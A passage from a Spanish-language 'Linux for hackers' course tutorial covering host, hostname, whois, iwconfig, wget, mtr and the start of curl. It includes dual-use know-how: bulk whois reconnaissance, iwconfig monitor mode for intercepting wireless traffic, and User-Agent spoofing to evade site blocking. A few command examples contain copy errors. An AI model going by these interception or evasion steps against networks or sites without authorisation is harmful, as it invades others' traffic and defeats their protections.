Bienvenidos a esta Guía Rápida de Linux para Hackers #19 Comandos de Red II. Comparte este articulo y síguenos para recibir más capítulos y cursos gratis.
Esta guía es parte de un curso mucho más grande en donde te enseñamos a convertirte en hacker de 0 a 100. Desde los conocimientos más básicos hasta conseguir empleo.
En esta guía veremos desde cero un tema tan amplio como es Linux y lo haremos desde el punto de vista del hacking y la ciberseguridad.
Para saber más comente a continuación, respondemos todos y cada uno de los comentarios.
¿Te gustaría enterarte de cuando lanzamos descuentos y nuevos cursos?
Lista de lo que aprenderás en este artículo
- Uso del comando
host
para realizar búsquedas de DNS y obtener direcciones IP o nombres de dominio. - Configuración y visualización de nombres de host con el comando
hostname
. - Obtención de información sobre registros de dominios y direcciones IP con
whois
. - Configuración y monitoreo de redes inalámbricas utilizando
iwconfig
. - Descarga de archivos y manipulación de datos web con
wget
. - Diagnóstico de redes y análisis de rutas con el comando
mtr
. - Uso avanzado del comando
curl
para transferencias de datos, interacciones API y pruebas de seguridad.
Comando de host de Linux
El comando host de Linux muestra el nombre de dominio para una dirección IP determinada o viceversa. También realiza búsquedas de DNS relacionadas con la consulta de DNS. El comportamiento predeterminado del comando host muestra un resumen de sus argumentos de línea de comandos y las opciones admitidas.
Sintaxis:
El comando host admite varios argumentos y opciones de línea de comandos. La sintaxis básica del comando host es la siguiente:
host <nombre>
Nombre: El nombre puede ser un nombre de dominio o una dirección IP (Ipv4 o Ipv6). Buscará el nombre indicado.
Opciones:
Los siguientes argumentos y opciones de la línea de comandos se pueden utilizar con el comando host:
-4: Se utiliza solo para la consulta de direcciones IPv4.
-6: Se utiliza solo para direcciones IPv6 para la consulta.
-a: La opción ‘-a’ significa “Todos”. Equivale a ‘-v’, ‘-r’, ‘s’, cualquier opción. Pero influye en el comportamiento de la opción ‘-l’.
-c clase: se utiliza para especificar la clase de consulta. El valor predeterminado de la clase es In (Internet).
-C: Se utiliza para comprobar la consistencia.
-d: se utiliza para mostrar los rastros de depuración. Esta opción es similar a la opción detallada ‘-v’.
-i: Se utiliza para el valor obsoleto.
-l: se utiliza para listar zonas. El comando host también se utiliza para transferir zonas y muestra registros como NS, PTR, A y más.
-N ndots: Se utiliza para especificar el número de puntos que debe tener el nombre.
-r: se utiliza para consultas no recursivas. Resulta útil para imitar el comportamiento de un servidor de nombres mediante consultas no recursivas.
-R número: se utiliza para la cantidad de reintentos de las consultas UDP. Para los números negativos o cero, la cantidad de reintentos será 1 (es decir, el valor predeterminado).
-s: Si un servidor no responde, no enviará una consulta al siguiente servidor de nombres.
-t tipo: Se utiliza para especificar el tipo de consulta. Esta opción reconocerá cualquier tipo de consulta como ‘CNAME’, ‘NS’, ‘SOA’, ‘TXT’, ‘DNSKEY’, ‘AXFR’, y más. Si no especificamos un tipo de consulta, seleccionará automáticamente un tipo apropiado. De forma predeterminada, buscará los registros ‘A’, ‘AAAA’ y MX. Si el nombre es una dirección IP, buscará el registro ‘PTR’.
-T o -U: se utiliza para las conexiones TCP/UDP: de forma predeterminada, el comando host selecciona la conexión ‘UDP’ al realizar consultas. La opción ‘-T’ especifica la conexión TCP y ‘-U’ especifica la conexión ‘UDP’.
-m: se utiliza para la depuración del uso de memoria. El argumento ‘indicador’ se puede registrar, utilizar o rastrear. Podemos configurar varios indicadores utilizando esta opción.
-v: se utiliza para mostrar la salida detallada (de forma detallada). Esta opción es similar a la opción ‘-d’.
-V: Se utiliza para mostrar la información de la versión.
-w: se utiliza para el modo de espera permanente. Establecerá el tiempo de espera de la consulta en el valor máximo posible.
-W: se utiliza para esperar un tiempo especificado (en segundos). No puede tomar un valor menor a uno. El tiempo de espera de consulta predeterminado es de 5 segundos (para respuestas UDP) y 10 segundos (para conexiones TCP).
Ejemplos del comando host
Veamos los siguientes ejemplos del comando host:
- Comando de host predeterminado
- Mostrar la dirección IP del dominio
- Utilice únicamente direcciones IPv4 para el transporte de consultas
- Utilice únicamente direcciones IPv6 para el transporte de consultas
- Mostrar los servidores de nombres de dominio
- Mostrar solo registros Cname
- Mostrar solo registros MX
- Mostrar solo registros TXT
- Mostrar solo registros SOA
- Consultar un servidor de nombres en particular
- Mostrar toda la información del servidor de nombres de dominio
- Mostrar información TTL
Comando de host predeterminado
Si ejecutamos el comando host sin ningún argumento, se mostrará un resumen de los argumentos de la línea de comandos y las opciones admitidas. Ejecute el comando de la siguiente manera:
host
El comando anterior mostrará una lista de opciones de línea de comandos admitidas. Considere el siguiente resultado:
Mostrar la dirección IP del dominio
Para mostrar la dirección IP del dominio , ejecute el comando host seguido del nombre de dominio, de la siguiente manera:
host achirou.com
El comando anterior mostrará la dirección IP del nombre de dominio indicado. Considere el siguiente resultado:
Utilice únicamente IPv4 para el transporte de consultas
Podemos utilizar el transporte de consultas IPv4 para un dominio. Para utilizar la dirección IPv4, ejecute el comando con la opción ‘-4’ de la siguiente manera:
host -4 google.com
El comando anterior utilizará la dirección IPv4 para el transporte de consultas en el nombre de dominio indicado. Considere el siguiente resultado:
Utilice únicamente IPv6 para el transporte de consultas
La opción ‘-6’ se utiliza para utilizar el transporte de consultas IPv6. Puede resultar útil para comprobar si el servidor de nombres habilitado para IPv6 funciona o no. Ejecute el comando de la siguiente manera:
host -6 google.com
Considere el siguiente resultado:
Mostrar servidores de nombres de dominio
La opción ‘ns’ con argumentos ‘-t’ se utiliza para mostrar los servidores de nombres de dominio. Considere el siguiente comando:
host -t ns achirou.com
El comando anterior mostrará los servidores de nombres de ‘achirou.com’. Considere el siguiente resultado:
Mostrar solo registros Cname
La opción ‘cname’ con argumentos ‘-t’ se utiliza para mostrar los registros cname. Considere el siguiente comando:
host -t cname achirou.com
El comando anterior mostrará los registros cname de ‘achirou.com’. Considere el siguiente resultado:
Mostrar solo registros MX
La opción ‘mx’ con argumentos ‘-t’ se utiliza para mostrar los registros mx. Considere el siguiente comando:
host -t mx achirou.com
El comando anterior mostrará los registros mx de ‘achirou.com’. Considere el siguiente resultado:
Mostrar solo registros TXT
La opción ‘txt’ con argumentos ‘-t’ se utiliza para mostrar los registros TXT. Considere el siguiente comando:
host -t txt
El comando anterior mostrará los registros de texto de ‘achirou.com’. Considere el siguiente resultado:
Mostrar solo registros SOA
Podemos enumerar los registros SOA de una zona específica mediante el comando host. Se mostrarán los servidores de nombres autorizados para la zona determinada. Para mostrar los registros SOA, ejecute el comando host con la opción ‘-C’ de la siguiente manera:
host -C achirou.com
El comando anterior mostrará los registros SOA de ‘achirou.com’. Considere el siguiente resultado:
Consultar un servidor de nombres en particular
Podemos consultar un servidor de nombres en particular especificando el servidor de nombres después del nombre de dominio o la dirección IP. Para consultar un servidor de nombres específico, ejecute el comando host de la siguiente manera:
host google.com ns1.google.com
El comando anterior mostrará la información sobre el servidor de nombres indicado. Considere el siguiente resultado:
Mostrar toda la información del servidor de nombres de dominio
Para visualizar la información detallada de cualquier servidor de nombres de dominio, pase la opción ‘-a’ seguida del nombre de dominio con el comando host. Considere el siguiente comando:
host -a achirou.com
El comando anterior mostrará información detallada del dominio ‘achirou.com’. Considere el siguiente resultado:
Mostrar información TTL
Para mostrar información TTL (tiempo de vida) de cualquier servidor, ejecute el comando host de la siguiente manera:
host -v -t a achirou.com
El comando anterior mostrará la información TTL de ‘achirou.com’. Puede elegir cualquier otro nombre de dominio. Considere el siguiente resultado:
El comando cat tiene más opciones que puedes explorar
host -h
También te recomendamos consultar las páginas man:
man host
El comando Hostname
El comando hostname de Linux nos permite configurar y ver el nombre de host del sistema. Un nombre de host es el nombre de cualquier computadora que esté conectada a una red y que esté identificada de manera única en la red. Se puede acceder a él sin usar una dirección IP en particular.
De forma predeterminada, el nombre de host de un sistema se establece durante la instalación del SO. Incluso si instalamos una máquina virtual, el sistema lo asigna de forma dinámica. Sin embargo, pueden existir algunas condiciones siempre que queramos cambiar el nombre de host. El comando hostname nos permitirá hacerlo.
Sintaxis:
La sintaxis básica del comando hostname es la siguiente:
hostname
Opciones del comando hostname:
El comando hostname admite las siguientes opciones de línea de comandos:
-a, –alias: se utiliza para mostrar el nombre de alias del host (si está definido). Sin embargo, la opción ‘-a’ está obsoleta.
-A, –all-fqdns: se utiliza para mostrar los FQDN del sistema. La opción ‘-A’ enumera todas las direcciones de red configuradas en todas las interfaces y las convierte en nombres DNS. Omite las direcciones que no se pueden convertir porque no tienen una entrada de IP inversa adecuada .
-b, –boot: permite establecer un nombre de host para siempre. Si no se especifica ningún nombre de host, se utilizará el nombre de host predeterminado (es decir, localhost).
-d, –domain: se utiliza para imprimir el nombre de dominio DNS. No confunda los comandos domainname y hostname. El comando domainname muestra el nombre de dominio NIS y el nombre de dominio DNS.
-f, –fqdn, –long: se utiliza para imprimir el FQDN (nombre de dominio completo). Un FQDN contiene el nombre de host corto y el nombre de dominio DNS. El FQDN y el nombre de dominio DNS se pueden cambiar en el archivo “/etc/hosts”, excepto para las búsquedas de host BIND o NIS.
-F, –file nombre_archivo: Se utiliza para leer el nombre de host de un archivo.
-i, –ip-address: se utiliza para imprimir las direcciones de red del nombre de host. Esta opción funcionará únicamente si el nombre de host se encuentra en circunstancias de resolución.
-I, –all-ip-addresses: se utiliza para imprimir las direcciones de red del host. Enumerará todas las direcciones configuradas en todas las interfaces de red. En esta opción, se omiten la interfaz de loopback y las direcciones locales de Ipv6. Esta opción depende de la resolución de nombres, como la opción ‘-‘.
-s, –short: se utiliza para imprimir el nombre de host corto. Si el nombre de host es demasiado largo, se cortará a partir del primer punto.
-V, –version: Se utiliza para mostrar la información de la versión instalada.
-y, –yp, –nis: Se utiliza para imprimir el nombre del dominio NIS. Si pasamos un parámetro o nombre de archivo, entonces el root puede configurar un nuevo dominio NIS.
-h, –help: Se utiliza para mostrar el manual de ayuda que contiene un resumen sobre el uso y las opciones de soporte.
hostname
Para visualizar el nombre del sistema, ejecute el comando hostname básico. Considere el siguiente comando:
hostname
El comando anterior mostrará el nombre del sistema. Observe el resultado siguiente:
A partir del comando anterior, el nombre del sistema se muestra como ‘laprovittera’, que es el nombre predeterminado creado durante la instalación.
Configuración del nombre de host
Podemos configurar el nombre del host mediante el comando hostname. Se necesita el privilegio sudo. Para configurar el nombre del sistema, ejecute el comando de la siguiente manera:
sudo hostname <nuevoNombre>
Considere el siguiente comando:
sudo hostname Alvaro
El comando anterior establecerá el nombre de host como ‘xyz.com’. Considere el siguiente resultado:
A partir del resultado anterior, hemos establecido “Alvaro” como nuestro nombre de host.
El nombre del sistema anterior no es permanente. El nombre del sistema establecido con el comando hostname no es permanente. Al reiniciar el sistema, el nombre cambiará al especificado en el archivo hostname.
Para configurar el nombre de host de forma permanente, debe guardarlo en el archivo de nombre de host que se encuentra en el servidor. Después de configurarlo, debe reiniciar el sistema.
Para Ubuntu, se utiliza el archivo /etc/hostname.
Para RHEL, se utiliza /etc/sysconfig/network.
Imprima la dirección IP del sistema
Podemos ver la dirección IP del sistema ejecutando el comando hostname. La opción ‘-i’ se utiliza para mostrar la dirección IP del sistema. Considere el siguiente comando:
hostname -i
El comando anterior mostrará la dirección IP del sistema. Considere el siguiente resultado:
Imprima el nombre de host Nombre de alias (si corresponde)
La opción ‘a’ se utiliza para mostrar el nombre de alias del sistema host (si lo hay). Si el sistema no tiene un nombre de alias, devolverá una línea vacía. Enumera todas las direcciones configuradas en todas las interfaces de red. Considere el siguiente comando:
hostname -a
El comando anterior mostrará el nombre de host del sistema. Considere el siguiente resultado:
La salida anterior devuelve una línea en blanco, lo que significa que no hay ningún nombre de alias establecido para este sistema.
Imprima el nombre de dominio asociado
La opción ‘-d’ se utiliza para mostrar el nombre de dominio asociado con el sistema. Mostrará el nombre de dominio local (si está configurado). No devolverá nada si no hay un nombre de dominio configurado para el sistema. Considere el siguiente comando:
hostname -d
El nombre del comando anterior mostrará el nombre de dominio asociado. Considere el siguiente resultado:
La salida anterior no devuelve nada, lo que significa que no hay ningún nombre de dominio establecido para el
Imprima el nombre de host corto
La opción ‘-s’ se utiliza para imprimir el nombre de host corto. El nombre corto es parte de la primera sección (antes de ‘.’). Si el sistema no tiene ningún nombre corto, mostrará el nombre completo. Considere el siguiente comando:
hostname -s
El comando anterior mostrará el nombre corto del sistema. Considere el siguiente resultado:
Obtener ayuda
Si no sabe cómo usar el comando hostname, puede buscar ayuda en su terminal. Los comandos de Linux admiten el comando ‘-help’ y las páginas del manual, que contienen un resumen de las opciones de uso y soporte.
Para obtener ayuda, ejecute el siguiente comando:
hostname -h
El comando anterior mostrará el resumen de uso y las opciones admitidas. Observe la siguiente captura de pantalla del resultado:
Desde el resultado anterior, podemos ver que se muestra un resumen del comando hostname.
Existe otra forma de obtener ayuda desde la línea de comandos, es decir, las páginas del manual. Para visualizar la página del manual, ejecute el siguiente comando:
man hostname
El comando anterior mostrará la página del manual del comando hostname. Considere el siguiente resultado:
Para leer más, desplácese por la salida y presione la tecla ‘q’ para salir de la página del manual y regresar a la terminal.
whois
El comando whois muestra información sobre el registro de un sitio web. Puede obtener toda la información sobre un sitio web en relación con su registro y la información del propietario.
El comando whois
permite obtener información sobre registros de dominios y direcciones IP. Al realizar consultas whois
, puedes acceder a datos sobre el propietario del dominio, la organización, fechas de registro, e información de contacto. Es útil en fases de reconocimiento y enumeración de información sobre objetivos.
Sintaxis:
whois [dominio | IP]
Información obtenida con whois
Al ejecutar whois
en un dominio o IP, se obtienen datos como:
- Registrador: La empresa responsable del registro del dominio.
- Fecha de registro y vencimiento.
- Información de contacto: Nombre, dirección, correo electrónico, etc., del propietario o la organización.
- Servidores de nombres (DNS): Indicando los servidores que dirigen el dominio.
Opciones
–help
mostrar un breve texto de ayuda.
-c ARCHIVO –config=ARCHIVO
utiliza FILE como archivo de configuración en lugar del predeterminado.
-h ANFITRIÓN –host=ANFITRIÓN
anula cualquier host en el archivo de configuración y consulta HOST directamente.
-p PUERTO –puerto=PUERTO
especifica un número de puerto a utilizar al consultar un HOST.
-f –fuerza-buscada
Fuerza a que se realice una consulta a un host incluso si un objeto actual está disponible en la memoria caché.
-v –verbose
genera información de depuración detallada mientras se ejecuta (utilice esto antes de enviar un informe de errores para asegurarse de que se trata de un error y no de una configuración incorrecta). Puede aumentar la verbosidad dando varios comandos detallados a jwhois, como -vv.
-n –no-redireccionamiento
Deshabilitar funciones que redirigen consultas de un servidor a otro.
-s –no-whoisservers
deshabilitar el soporte integrado para whois-servers.net.
-a –raw
enviar la consulta textualmente a los hosts receptores en lugar de reescribirlos según la configuración.
-i –mostrar-redirecciones
mostrar cada paso en una redirección (el valor predeterminado es mostrar solo la última respuesta).
-d –deshabilitar-cache
deshabilitar completamente tanto la lectura como la escritura en caché.
-r –rquien es
forzar la consulta a utilizar el protocolo rwhois en lugar de HTTP o whois.
–rwhois-display=MOSTRAR
pide a los servidores rwhois receptores que muestren los resultados en la pantalla DISPLAY en lugar de en la pantalla de volcado predeterminada.
–rwhois-limit=LÍMITE
pide a los servidores rwhois receptores que limiten sus respuestas a LIMIT coincidencias.
Ejemplo:
whois achirou.com
Observa la captura de pantalla anterior. Puedes ver todo tipo de información. Muestra información mucho más extensa que esta, pero no la hemos mostrado.
Análisis de un registro whois
La información obtenida en whois
es útil para identificar propietarios de dominios y detectar dominios relacionados. En hacking ético, puede ayudar a establecer relaciones entre dominios, conocer fechas de vencimiento de dominio y detectar vulnerabilidades potenciales.
Uso avanzado: Scripts de whois
Los hackers éticos pueden crear scripts en Bash para realizar consultas automáticas whois
en múltiples dominios o direcciones IP. Aquí un ejemplo simple:
for domain in $(cat dominios.txt); do
whois $domain >> resultados.txt
done
Este script lee una lista de dominios desde el archivo dominios.txt
y guarda los resultados en resultados.txt
.
El comando whois tiene más opciones que puedes explorar
whois --help
También te recomendamos consultar las páginas man:
man whois
iwconfig
El comando iwconfig configura una interfaz de red inalámbrica. Puede ver y configurar detalles básicos de Wi-Fi, como SSID y cifrado. Consulte la página del manual de iwconfig para obtener más detalles.
El comando iwconfig
es una herramienta de configuración y monitoreo de interfaces de red inalámbricas en sistemas Linux. Similar a ifconfig
para redes cableadas, iwconfig
permite gestionar aspectos específicos de las redes inalámbricas, como el SSID, frecuencia de operación, modo de red, y nivel de potencia de la señal.
Sintaxis básica
iwconfig [interfaz] [opciones]
Opciones comunes de iwconfig
Opción | Descripción |
---|---|
essid [nombre] | Define el SSID de la red inalámbrica a la cual conectarse. |
mode [modo] | Establece el modo de operación: puede ser Managed , Ad-Hoc , etc. |
freq [frecuencia] | Especifica la frecuencia (en GHz) o el canal de la red. |
txpower [potencia] | Define la potencia de transmisión de la señal en dBm o mW. |
rate [velocidad] | Configura la velocidad de transmisión en Mb/s. |
key [clave] | Establece la clave de encriptación WEP o WPA. |
Ejemplos prácticos de iwconfig
- Conectar a una red específicaSi quieres conectarte a una red específica llamada «MiRedWiFi» con una clave WEP, usa:
iwconfig wlan0 essid "MiRedWiFi" key s:clave1234
- Cambiar el modo de operación de la interfazPara cambiar el modo a monitor, útil para auditoría de redes:
iwconfig wlan0 mode monitor
- Ajustar la frecuencia o canalCambia la frecuencia a 2.462 GHz (canal 11 en WiFi):
iwconfig wlan0 freq 2.462G
Uso de iwconfig
en auditorías de red
El modo monitor permite capturar tráfico de red, interceptar paquetes y analizar datos para pruebas de seguridad. Para activar este modo:
iwconfig wlan0 mode monitor
Luego, usando herramientas como tcpdump
o Wireshark
, puedes monitorear el tráfico que circula en la red.
El comando iwconfig tiene más opciones que puedes explorar
iwconfig --help
También te recomendamos consultar las páginas man:
man iwconfig
wget de Linux
Estos comandos se utilizan para descargar un archivo de Internet mediante CLI. Con los comandos curl se utilizará la opción O, mientras que el comando wget se utilizará sin ninguna opción. El archivo se guardará en el directorio actual.
El comando wget
es una herramienta poderosa para descargar archivos de la web de forma no interactiva, lo que significa que puede ejecutarse en segundo plano o a través de scripts. wget
soporta la descarga de archivos individuales, sitios completos, y es ideal para el raspado de datos y la recuperación de sitios web para análisis.
Sintaxis básica
wget [opciones] [URL]
Opciones comunes de wget
Opción | Descripción |
---|---|
-O [archivo] | Guarda la descarga en el archivo especificado. |
-r | Descarga el sitio de forma recursiva. |
--limit-rate=[velocidad] | Limita la velocidad de descarga. |
-c | Continúa una descarga interrumpida. |
-p | Descarga todos los elementos necesarios para visualizar una página (CSS, JS) |
--user-agent="[agente]" | Define un agente de usuario personalizado. |
Ejemplos prácticos de wget
- Descargar un archivo específico
wget https://example.com/archivo.zip
- Guardar la descarga con un nombre diferente
wget -O nuevo_nombre.zip https://example.com/archivo.zip
- Descargar un sitio web completo de forma recursiva
wget -r https://example.com
- Descargar usando un User-Agent personalizadoPara evitar ser bloqueado por ciertos sitios, puedes cambiar el User-Agent para simular que eres un navegador:
wget --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64)" https://example.com
El comando wget tiene más opciones que puedes explorar
wget --help
También te recomendamos consultar las páginas man:
man iwconfig
Uso de wget
en pruebas de seguridad
En el análisis de seguridad, wget
es útil para obtener sitios web completos para análisis offline o para realizar ataques de fuerza bruta y raspado de datos. Ten en cuenta que en un contexto de hacking ético, la descarga completa de un sitio debe ser autorizada.
Resumen del artículo sobre whois
, iwconfig
y wget
en Linux
1. Comando whois
de Linux
- Descripción:
whois
permite consultar información detallada sobre el registro de un dominio o dirección IP, mostrando detalles como el registrador, propietario, y fechas clave. - Sintaxis básica:
whois [dominio | IP]
- Información obtenida:
- Registrador: Empresa responsable del registro del dominio.
- Fecha de registro y vencimiento: Importante para identificar posibles vencimientos.
- Información de contacto: Datos sobre el propietario o la organización.
- Servidores DNS: Servidores que direccionan el dominio.
- Opciones comunes:
--help
: Muestra el texto de ayuda.-h HOST
: Especifica el host a consultar.-v
: Muestra salida detallada de depuración.-r
: Usa el protocolorwhois
.
- Ejemplo:
whois achirou.com
2. Comando iwconfig
de Linux
- Descripción:
iwconfig
permite configurar y monitorear las interfaces de red inalámbricas en sistemas Linux. - Sintaxis básica:
iwconfig [interfaz] [opciones]
- Opciones comunes:
essid [nombre]
: Define el SSID de la red.mode [modo]
: Configura el modo de operación (Managed, Ad-Hoc, Monitor).freq [frecuencia]
: Define la frecuencia o canal de la red.txpower [potencia]
: Define la potencia de transmisión de la señal.
- Ejemplos prácticos:
- Conectar a una red:
iwconfig wlan0 essid "MiRedWiFi" key s:clave1234
- Cambiar el modo a monitor (útil para auditorías de red):
iwconfig wlan0 mode monitor
- Ajustar frecuencia:
iwconfig wlan0 freq 2.462G
- Conectar a una red:
3. Comando wget
de Linux
- Descripción:
wget
permite descargar archivos desde internet, ya sea en un archivo o un sitio completo. - Sintaxis básica:
wget [opciones] [URL]
- Opciones comunes:
-O [archivo]
: Guarda el archivo descargado con el nombre especificado.-r
: Descarga el sitio de manera recursiva.--limit-rate=[velocidad]
: Limita la velocidad de descarga.--user-agent="[agente]"
: Define un User-Agent personalizado.
- Ejemplos prácticos:
- Descargar un archivo específico:
wget https://example.com/archivo.zip
- Guardar con un nombre diferente:
wget -O nuevo_nombre.zip https://example.com/archivo.zip
- Descargar un sitio completo:
wget -r https://example.com
- Descargar un archivo específico:
Conclusión
Los comandos whois
, iwconfig
y wget
en Linux son herramientas esenciales tanto para administración de sistemas como para tareas avanzadas de seguridad y auditoría de red. Facilitan la obtención de información sobre dominios y redes, la configuración de interfaces inalámbricas, y la descarga de datos de la web para análisis o backups.
Comando mtr de Linux
El comando mtr es una combinación de los comandos ping y traceroute. Es una herramienta de diagnóstico de red que envía paquetes de forma continua que muestra el tiempo de ping para cada salto. También muestra los problemas de red de toda la ruta que siguen los paquetes de red.
Sintaxis:
La sintaxis básica del comando mtr es la siguiente:
mtr <opción> <nombre de host>/ruta
Opciones:
El comando mtr admite las siguientes opciones de línea de comandos:
-h, –help: Se utiliza para mostrar el manual de ayuda con una breve descripción del uso y las opciones de la línea de comandos.
-v, –version: Se utiliza para mostrar la información de la versión instalada.
-4: Se utiliza para direcciones IPv4.
-6: Se utiliza para direcciones IPv6.
-F NOMBREDEARCHIVO, –filename NOMBREDEARCHIVO: Se utiliza para acceder a los nombres de dominio (rutas) desde el archivo.
-r, –report: se utiliza para poner el mtr en modo de informe. Es útil para mostrar la calidad de las estadísticas de la red.
-w, –report-wide: se utiliza para establecer el mtr en modo de informe amplio.
-x, –xml: Se utiliza para especificar el formato de salida xml .
-t, –curses: se utiliza para especificar el uso forzado de la interfaz de terminal basada en curses.
–displaymode MODE: Se utiliza para seleccionar el modo de visualización inicial. Los modos de visualización son los siguientes:
0: selecciona estadísticas (predeterminado)
1: selecciona el gráfico de franjas sin información de latencia
2: selecciona el gráfico de barras con información de latencia
-g, –gtk: Se utiliza para especificar el uso de la interfaz de ventana X11 basada en GTK+.
-l, –raw: Se utiliza para especificar el formato de salida sin procesar.
-C, –csv: Se utiliza para especificar el formato de salida “Valores separados por comas (CSV)”.
-j, –json: Se utiliza para especificar el formato de salida JSON.
-p, –split: se utiliza para especificar el formato de salida. Es adecuado para una interfaz de usuario dividida.
-n, –no-dns: se utiliza para mostrar números de IP numéricos y no intentar resolver los nombres de host de manera forzada.
-b, –show-ips: Se utiliza para mostrar los nombres de dominio y las direcciones IP.
-o CAMPOS, –order CAMPOS: Se utiliza para especificar los campos y sus órdenes a mostrar.
-yn, –ipinfo n: Se utiliza para mostrar la información de cada salto de IP.
-z, –aslookup: se utiliza para mostrar el número de sistema autónomo (AS) con cada salto. Es similar al comando “–ipinfo 0”.
-i SEGUNDOS, –interval SEGUNDOS: Se utiliza para describir el número positivo de segundos entre solicitudes ICMP ECHO.
-c COUNT, –report-cycles COUNT: Se utiliza para especificar el número de pings enviados.
-s TAMAÑO DE PAQUETE, –psize TAMAÑO DE PAQUETE: Se utiliza para describir el tamaño del paquete para el sondeo.
-B NUM, –bitpattern NUM: Se utiliza para especificar el patrón de bits para la carga útil.
-G SEGUNDOS, –gracetime SEGUNDOS: Se utiliza para especificar el tiempo de respuesta en un número positivo de segundos después de la solicitud final. Por defecto es cinco segundos.
-Q NUM, –tos NUM: Se utiliza para especificar el tipo de valor del campo de servicio en el encabezado Ip.
-e, –mpls: Se utiliza para especificar la información de las extensiones ICMP.
-a DIRECCIÓN, –address DIRECCIÓN: Se utiliza para vincular el socket saliente a DIRECCIÓN.
-f NUM, –first-ttl NUM: Se utiliza para especificar el TTL para iniciar.
-m NUM, –max-ttl NUM: se utiliza para describir el número máximo de saltos (valor TTL máximo). De manera predeterminada, es treinta.
-U NUM, –max-unknown NUM: se utiliza para especificar el número máximo de hosts desconocidos. De manera predeterminada, son cinco.
-u, –udp: Se utiliza para especificar los datagramas UDP en lugar de ICMP ECHO.
-T, –tcp: Se utiliza para especificar los paquetes TCP SYN en lugar de ICMP ECHO.
-S, –sctp: Se utiliza para utilizar el “Protocolo de transmisión de control de flujo” en lugar de ICMP ECHO.
-P PUERTO, –port PUERTO: Se utiliza para especificar el número de puerto para los seguimientos TCP/SCTP/UDP.
-L LOCALPORT, –localport LOCALPORT: Se utiliza para especificar el número de puerto de origen para los seguimientos UDP.
Instalar MTR
sudo apt install mtr
Mostrar informe de traceroute
El comportamiento predeterminado del comando mtr muestra el informe de traceroute para un nombre de host o una dirección IP remotos. Para mostrar el informe de traceroute, pase el nombre de host o la dirección IP con él de la siguiente manera:
mtr <nombre de host>
Considere el siguiente ejemplo:
mtr achirou.com
El comando anterior mostrará el informe de traceroute para ‘achirou.com’. Considere el siguiente resultado:
A partir del resultado anterior, el informe de traceroute se sigue mostrando hasta que finaliza. Para interrumpirlo, presione las teclas CTRL+C.
Mostrar salida CSV
Para mostrar la salida CSV, pase la opción ‘–csv’ con el comando mtr. Un archivo CSV es un archivo separado por comas que delimita las columnas con una coma (,). Considere el siguiente comando:
mtr --csv achirou.com
El comando anterior mostrará el resultado CSV. Considere el resultado siguiente:
Mostrar salida XML
El comando mtr admite la salida en formato XML . Para mostrar la salida en formato XML, pase la opción ‘–xml’ con el comando mtr. El formato XML es útil para el procesamiento automático. Considere el siguiente comando:
mtr --xml achirou.com
El comando anterior mostrará el resultado en formato XML. Considere el resultado siguiente:
Mostrar salida JSON
Otro formato de salida útil compatible con el comando mtr es un archivo JSON. Podemos mostrar la salida en formato JSON . Para mostrar la salida, ejecute el comando con la opción ‘–json’ de la siguiente manera:
mtr --json achirou.com
El comando anterior producirá un resultado como el siguiente:
Especificar límite de ping
Podemos especificar el límite de pings; se cerrará automáticamente después de completar el número especificado de pings. El número de pings se puede ver en la columna ‘Snt’. Para determinar el número de pings, ejecute el comando con la opción ‘-c’ de la siguiente manera:
mtr -c 10 achirou.com
El comando anterior mostrará el informe de traceroute correspondiente a la cantidad de pings especificada. Considere el siguiente resultado:
Deshabilitar la resolución de DNS (mostrar solo direcciones numéricas)
La desactivación de la resolución de DNS hizo que la salida fuera más rápida, ya que reducirá el tráfico y el tiempo de espera que toma la resolución de DNS. Para desactivar la resolución de DNS, ejecute el comando con la opción ‘-n’ de la siguiente manera:
mtr -n achirou.com
El comando anterior deshabilitará la resolución de DNS y generará una salida más rápida. Considere el siguiente resultado:
Obtener ayuda
Si no puede seguir usando el comando mtr, puede buscar ayuda en su terminal. Están disponibles los comandos ‘help’ y ‘man’, que contienen un resumen del uso y las opciones de línea de comandos admitidas.
Para mostrar la ayuda, ejecute el comando con la opción ‘–help’ de la siguiente manera:
mtr --help
El comando anterior mostrará una lista de opciones compatibles de la siguiente manera:
Para leer la página del manual, ejecute el siguiente comando:
man mtr
El comando anterior mostrará la página del manual. Se verá algo así:
Para leer más, desplácese por la salida y para salir del manual, presione la tecla ‘q’.
El Comando curl en Linux
El comando curl de Linux se utiliza para descargar o cargar datos a un servidor a través de protocolos compatibles como HTTP, FTP, IMAP, SFTP, TFTP, IMAP, POP3, SCP, etc. Es una utilidad remota, por lo que funciona sin interacción del usuario.
La transferencia de datos de un lugar a otro es una de las tareas más importantes y utilizadas de un sistema informático. Sin embargo, existen muchas herramientas GUI disponibles para la transferencia de datos. Pero, cuando se trabaja en la línea de comandos, se vuelve un poco complicado. La utilidad curl nos permite transferir datos a través de la línea de comandos.
Curl ofrece una gran cantidad de trucos útiles, como reanudación de transferencia de archivos, cookies, conexiones SSL, publicación HTTP, carga FTP, autenticación de usuarios, compatibilidad con proxy y más. Curl está mecanizado por libcurl para todos los aspectos relacionados con la transferencia.
¿Qué es libcurl?
libcurl es una biblioteca de transferencia de URL gratuita del lado del cliente. Admite SMB, SMTP, SCP, RTMP, RTSP, POP3, MQTT, LDAP, Kerberos, IMAP, HTTPS, túnel de proxy HTTP, HTTP PUT, HTTP POST, HTTP/1, Gopher, FTPS, FTP, DICT y cookies. La biblioteca también admite autenticación de usuario más contraseña, servidores proxy, LDAPS, certificados HTTPS, carga basada en formularios HTTP, carga FTP, reanudación de transferencia de archivos, TFTP, Telnet, SFTP y esquema de URL de archivo.
libcurl es compacto. Crea y funciona de forma idéntica en varias plataformas, incluidas Microsoft Windows, UnixWare, Ultrix, Tru64, Symbian, Solaris, RISC OS, QNX Neutrino, OS/2, OpenBSD, NetWare, NetBSD, macOS, Linux, IRIX, iOS, HURD, HP-UX, FreeBSD, DOS, Darwin, OpenVMS, BlackBerry 10, BlackBerry Tablet OS, BeOS, Android, AmigaOS y AIX.
La biblioteca libcurl es compatible con IPv6, es segura para subprocesos y gratuita. También hay enlaces disponibles para más de 50 lenguajes, incluidos Python, PHP, Java y C/C++.
La biblioteca libcurl es compatible con SChannel, gskit en IBM i, NSS, mbed TLS, GnuTLS en Windows, Secure Trasport en iOS y macOS, TLS/SSL a través de OpenSSL, rustls, BearSSL, wolfSSL, AmiSSL, libressl y Boringssl.
Sintaxis:
La sintaxis básica para utilizar curl es la siguiente:
curl [opciones] [URL...]
De la sintaxis anterior,
URL:
La sintaxis de la URL es una URL general que depende del protocolo. Podemos especificar varias URL de la siguiente manera:
http://site.{uno,dos,tres}.com
Opciones de curl:
